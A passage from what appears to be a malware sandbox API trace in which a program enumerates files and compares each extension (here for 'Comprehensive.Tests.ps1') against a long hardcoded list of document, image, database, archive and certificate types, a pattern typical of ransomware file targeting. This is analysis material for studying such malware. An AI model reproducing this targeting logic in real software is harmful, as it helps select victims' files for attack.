nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0193.251] lstrlenW (lpString="Comprehensive.Tests.ps1") returned 23 [0193.251] lstrlenW (lpString=".1cd") returned 4 [0193.251] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1 [0193.251] lstrlenW (lpString=".3ds") returned 4 [0193.251] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1 [0193.251] lstrlenW (lpString=".3fr") returned 4 [0193.251] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1 [0193.251] lstrlenW (lpString=".3g2") returned 4 [0193.251] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1 [0193.251] lstrlenW (lpString=".3gp") returned 4 [0193.251] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1 [0193.252] lstrlenW (lpString=".7z") returned 3 [0193.252] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1 [0193.252] lstrlenW (lpString=".accda") returned 6 [0193.252] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1 [0193.252] lstrlenW (lpString=".accdb") returned 6 [0193.252] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1 [0193.252] lstrlenW (lpString=".accdc") returned 6 [0193.252] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1 [0193.252] lstrlenW (lpString=".accde") returned 6 [0193.252] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1 [0193.253] lstrlenW (lpString=".accdt") returned 6 [0193.253] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1 [0193.253] lstrlenW (lpString=".accdw") returned 6 [0193.253] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1 [0193.253] lstrlenW (lpString=".adb") returned 4 [0193.253] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".adp") returned 4 [0193.253] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai") returned 3 [0193.253] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1 [0193.253] lstrlenW (lpString=".ai3") returned 4 [0193.253] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai4") returned 4 [0193.253] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai5") returned 4 [0193.253] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai6") returned 4 [0193.253] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai7") returned 4 [0193.253] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".ai8") returned 4 [0193.253] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".anim") returned 5 [0193.253] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1 [0193.253] lstrlenW (lpString=".arw") returned 4 [0193.253] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1 [0193.253] lstrlenW (lpString=".as") returned 3 [0193.253] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1 [0193.254] lstrlenW (lpString=".asa") returned 4 [0193.254] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".asc") returned 4 [0193.254] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".ascx") returned 5 [0193.254] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1 [0193.254] lstrlenW (lpString=".asm") returned 4 [0193.254] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".asmx") returned 5 [0193.254] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1 [0193.254] lstrlenW (lpString=".asp") returned 4 [0193.254] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".aspx") returned 5 [0193.254] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1 [0193.254] lstrlenW (lpString=".asr") returned 4 [0193.254] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".asx") returned 4 [0193.254] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".avi") returned 4 [0193.254] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".avs") returned 4 [0193.254] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1 [0193.254] lstrlenW (lpString=".backup") returned 7 [0193.254] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1 [0193.254] lstrlenW (lpString=".bak") returned 4 [0193.255] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".bay") returned 4 [0193.255] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".bd") returned 3 [0193.255] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1 [0193.255] lstrlenW (lpString=".bin") returned 4 [0193.255] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".bmp") returned 4 [0193.255] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".bz2") returned 4 [0193.255] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".c") returned 2 [0193.255] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1 [0193.255] lstrlenW (lpString=".cdr") returned 4 [0193.255] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".cer") returned 4 [0193.255] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".cf") returned 3 [0193.255] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1 [0193.255] lstrlenW (lpString=".cfc") returned 4 [0193.255] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".cfm") returned 4 [0193.255] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".cfml") returned 5 [0193.255] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1 [0193.255] lstrlenW (lpString=".cfu") returned 4 [0193.255] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1 [0193.255] lstrlenW (lpString=".chm") returned 4 [0193.256] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".cin") returned 4 [0193.256] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".class") returned 6 [0193.256] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1 [0193.256] lstrlenW (lpString=".clx") returned 4 [0193.256] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".config") returned 7 [0193.256] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1 [0193.256] lstrlenW (lpString=".cpp") returned 4 [0193.256] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".cr2") returned 4 [0193.256] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".crt") returned 4 [0193.256] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".crw") returned 4 [0193.256] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".cs") returned 3 [0193.256] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1 [0193.256] lstrlenW (lpString=".css") returned 4 [0193.256] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".csv") returned 4 [0193.256] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".cub") returned 4 [0193.256] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1 [0193.256] lstrlenW (lpString=".dae") returned 4 [0193.256] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dat") returned 4 [0193.257] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".db") returned 3 [0193.257] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1 [0193.257] lstrlenW (lpString=".dbf") returned 4 [0193.257] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dbx") returned 4 [0193.257] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dc3") returned 4 [0193.257] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dcm") returned 4 [0193.257] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dcr") returned 4 [0193.257] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".der") returned 4 [0193.257] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dib") returned 4 [0193.257] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dic") returned 4 [0193.257] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".dif") returned 4 [0193.257] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1 [0193.257] lstrlenW (lpString=".divx") returned 5 [0193.257] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1 [0193.257] lstrlenW (lpString=".djvu") returned 5 [0193.257] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1 [0193.257] lstrlenW (lpString=".dng") returned 4 [0193.258] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".doc") returned 4 [0193.258] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".docm") returned 5 [0193.258] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1 [0193.258] lstrlenW (lpString=".docx") returned 5 [0193.258] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1 [0193.258] lstrlenW (lpString=".dot") returned 4 [0193.258] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".dotm") returned 5 [0193.258] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1 [0193.258] lstrlenW (lpString=".dotx") returned 5 [0193.258] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1 [0193.258] lstrlenW (lpString=".dpx") returned 4 [0193.258] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".dqy") returned 4 [0193.258] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".dsn") returned 4 [0193.258] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1 [0193.258] lstrlenW (lpString=".dt") returned 3 [0193.417] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1 [0193.417] lstrlenW (lpString=".dtd") returned 4 [0193.417] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1 [0193.417] lstrlenW (lpString=".dwg") returned 4 [0193.417] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1 [0193.417] lstrlenW (lpString=".dwt") returned 4 [0193.418] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".dx") returned 3 [0193.418] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1 [0193.418] lstrlenW (lpString=".dxf") returned 4 [0193.418] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".edml") returned 5 [0193.418] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1 [0193.418] lstrlenW (lpString=".efd") returned 4 [0193.418] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".elf") returned 4 [0193.418] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".emf") returned 4 [0193.418] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".emz") returned 4 [0193.418] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".epf") returned 4 [0193.418] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1 [0193.418] lstrlenW (lpString=".eps") returned 4 [0193.418] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1 [0193.419] lstrlenW (lpString=".epsf") returned 5 [0193.419] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1 [0193.450] lstrlenW (lpString=".epsp") returned 5 [0193.452] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1 [0193.452] lstrlenW (lpString=".erf") returned 4 [0193.452] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1 [0193.452] lstrlenW (lpString=".exr") returned 4 [0193.452] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".f4v") returned 4 [0193.453] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".fido") returned 5 [0193.453] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1 [0193.453] lstrlenW (lpString=".flm") returned 4 [0193.453] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".flv") returned 4 [0193.453] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".frm") returned 4 [0193.453] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".fxg") returned 4 [0193.453] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".geo") returned 4 [0193.453] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".gif") returned 4 [0193.453] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".grs") returned 4 [0193.453] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1 [0193.453] lstrlenW (lpString=".gz") returned 3 [0193.453] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1 [0193.454] lstrlenW (lpString=".h") returned 2 [0193.454] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1 [0193.454] lstrlenW (lpString=".hdr") returned 4 [0193.454] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".hpp") returned 4 [0193.454] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".hta") returned 4 [0193.454] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".htc") returned 4 [0193.454] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".htm") returned 4 [0193.454] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".html") returned 5 [0193.454] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1 [0193.454] lstrlenW (lpString=".icb") returned 4 [0193.454] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".ics") returned 4 [0193.454] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1 [0193.454] lstrlenW (lpString=".iff") returned 4 [0193.454] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".inc") returned 4 [0193.455] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".indd") returned 5 [0193.455] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1 [0193.455] lstrlenW (lpString=".ini") returned 4 [0193.455] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".iqy") returned 4 [0193.455] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".j2c") returned 4 [0193.455] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".j2k") returned 4 [0193.455] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".java") returned 5 [0193.455] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1 [0193.455] lstrlenW (lpString=".jp2") returned 4 [0193.455] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".jpc") returned 4 [0193.455] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".jpe") returned 4 [0193.455] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1 [0193.455] lstrlenW (lpString=".jpeg") returned 5 [0193.455] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1 [0193.456] lstrlenW (lpString=".jpf") returned 4 [0193.456] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".jpg") returned 4 [0193.456] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".jpx") returned 4 [0193.456] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".js") returned 3 [0193.456] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1 [0193.456] lstrlenW (lpString=".jsf") returned 4 [0193.456] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".json") returned 5 [0193.456] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1 [0193.456] lstrlenW (lpString=".jsp") returned 4 [0193.456] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".kdc") returned 4 [0193.456] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".kmz") returned 4 [0193.456] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".kwm") returned 4 [0193.456] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1 [0193.456] lstrlenW (lpString=".lasso") returned 6 [0193.457] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1 [0193.457] lstrlenW (lpString=".lbi") returned 4 [0193.457] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".lgf") returned 4 [0193.457] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".lgp") returned 4 [0193.457] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".log") returned 4 [0193.457] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".m1v") returned 4 [0193.457] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".m4a") returned 4 [0193.457] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".m4v") returned 4 [0193.457] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1 [0193.457] lstrlenW (lpString=".max") returned 4 [0193.458] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".md") returned 3 [0193.458] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1 [0193.458] lstrlenW (lpString=".mda") returned 4 [0193.458] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mdb") returned 4 [0193.458] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mde") returned 4 [0193.458] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mdf") returned 4 [0193.458] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mdw") returned 4 [0193.458] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mef") returned 4 [0193.458] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mft") returned 4 [0193.458] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mfw") returned 4 [0193.458] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1 [0193.458] lstrlenW (lpString=".mht") returned 4 [0193.459] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1 [0193.459] lstrlenW (lpString=".mhtml") returned 6 [0193.459] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1 [0193.459] lstrlenW (lpString=".mka") returned 4 [0193.459] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1 [0193.459] lstrlenW (lpString=".mkidx") returned 6 [0193.459] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1 [0193.459] lstrlenW (lpString=".mkv") returned 4 [0193.459] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1 [0193.459] lstrlenW (lpString=".mos") returned 4 [0193.459] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1 [0193.459] lstrlenW (lpString=".mov") returned 4 [0193.459] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1 [0193.459] lstrlenW (lpString=".mp3") returned 4 [0193.459] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".mp4") returned 4 [0193.460] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".mpeg") returned 5 [0193.460] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1 [0193.460] lstrlenW (lpString=".mpg") returned 4 [0193.460] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".mpv") returned 4 [0193.460] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".mrw") returned 4 [0193.460] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".msg") returned 4 [0193.460] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".mxl") returned 4 [0193.460] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".myd") returned 4 [0193.460] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".myi") returned 4 [0193.460] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1 [0193.460] lstrlenW (lpString=".nef") returned 4 [0193.460] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".nrw") returned 4 [0193.461] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".obj") returned 4 [0193.461] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".odb") returned 4 [0193.461] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".odc") returned 4 [0193.461] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".odm") returned 4 [0193.461] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1 [0193.461] lstrlenW (lpString=".odp") returned 4 [0193.461] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1 [0193.462] lstrlenW (lpString=".ods") returned 4 [0193.462] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".oft") returned 4 [0193.463] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".one") returned 4 [0193.463] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".onepkg") returned 7 [0193.463] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1 [0193.463] lstrlenW (lpString=".onetoc2") returned 8 [0193.463] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1 [0193.463] lstrlenW (lpString=".opt") returned 4 [0193.463] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".oqy") returned 4 [0193.463] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".orf") returned 4 [0193.463] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".p12") returned 4 [0193.463] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1 [0193.463] lstrlenW (lpString=".p7b") returned 4 [0193.463] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".p7c") returned 4 [0193.464] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pam") returned 4 [0193.464] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pbm") returned 4 [0193.464] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pct") returned 4 [0193.464] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pcx") returned 4 [0193.464] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pdd") returned 4 [0193.464] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pdf") returned 4 [0193.464] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pdp") returned 4 [0193.464] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pef") returned 4 [0193.464] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1 [0193.464] lstrlenW (lpString=".pem") returned 4 [0193.465] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".pff") returned 4 [0193.465] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".pfm") returned 4 [0193.465] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".pfx") returned 4 [0193.465] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".pgm") returned 4 [0193.465] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".php") returned 4 [0193.465] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1 [0193.465] lstrlenW (lpString=".php3") returned 5 [0193.465] lstrcmpiW (lpString1=".php3", lpString2="s.ps1") returned -1 [0193.465] lstrlenW (lpString=".php4") returned 5 [0193.465] lstrcmpiW (lpString1=".php4", lpString2="s.ps1") returned -1 [0193.465] lstrlenW (lpString=".php5") returned 5 [0193.465] lstrcmpiW (lpString1=".php5", lpString2="s.ps1") returned -1 [0193.465] lstrlenW (lpString=".phtml") returned 6 [0193.465] lstrcmpiW (lpString1=".phtml", lpString2="ts.ps1") returned -1 [0193.465] lstrlenW (lpString=".pict") returned 5 [0193.465] lstrcmpiW (lpString1=".pict", lpString2="s.ps1") returned -1 [0193.465] lstrlenW (lpString=".pl") returned 3 [0193.465] lstrcmpiW (lpString1=".pl", lpString2="ps1") returned -1 [0193.465] lstrlenW (lpString=".pls") returned 4 [0193.466] lstrcmpiW (lpString1=".pls", lpString2=".ps1") returned -1 [0193.466] lstrlenW (lpString=".pm") returned 3 [0193.466] lstrcmpiW (lpString1=".pm", lpString2="ps1") returned -1 [0193.466] lstrlenW (lpString=".png") returned 4 [0193.466] lstrcmpiW (lpString1=".png", lpString2=".ps1") returned -1 [0193.466] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, 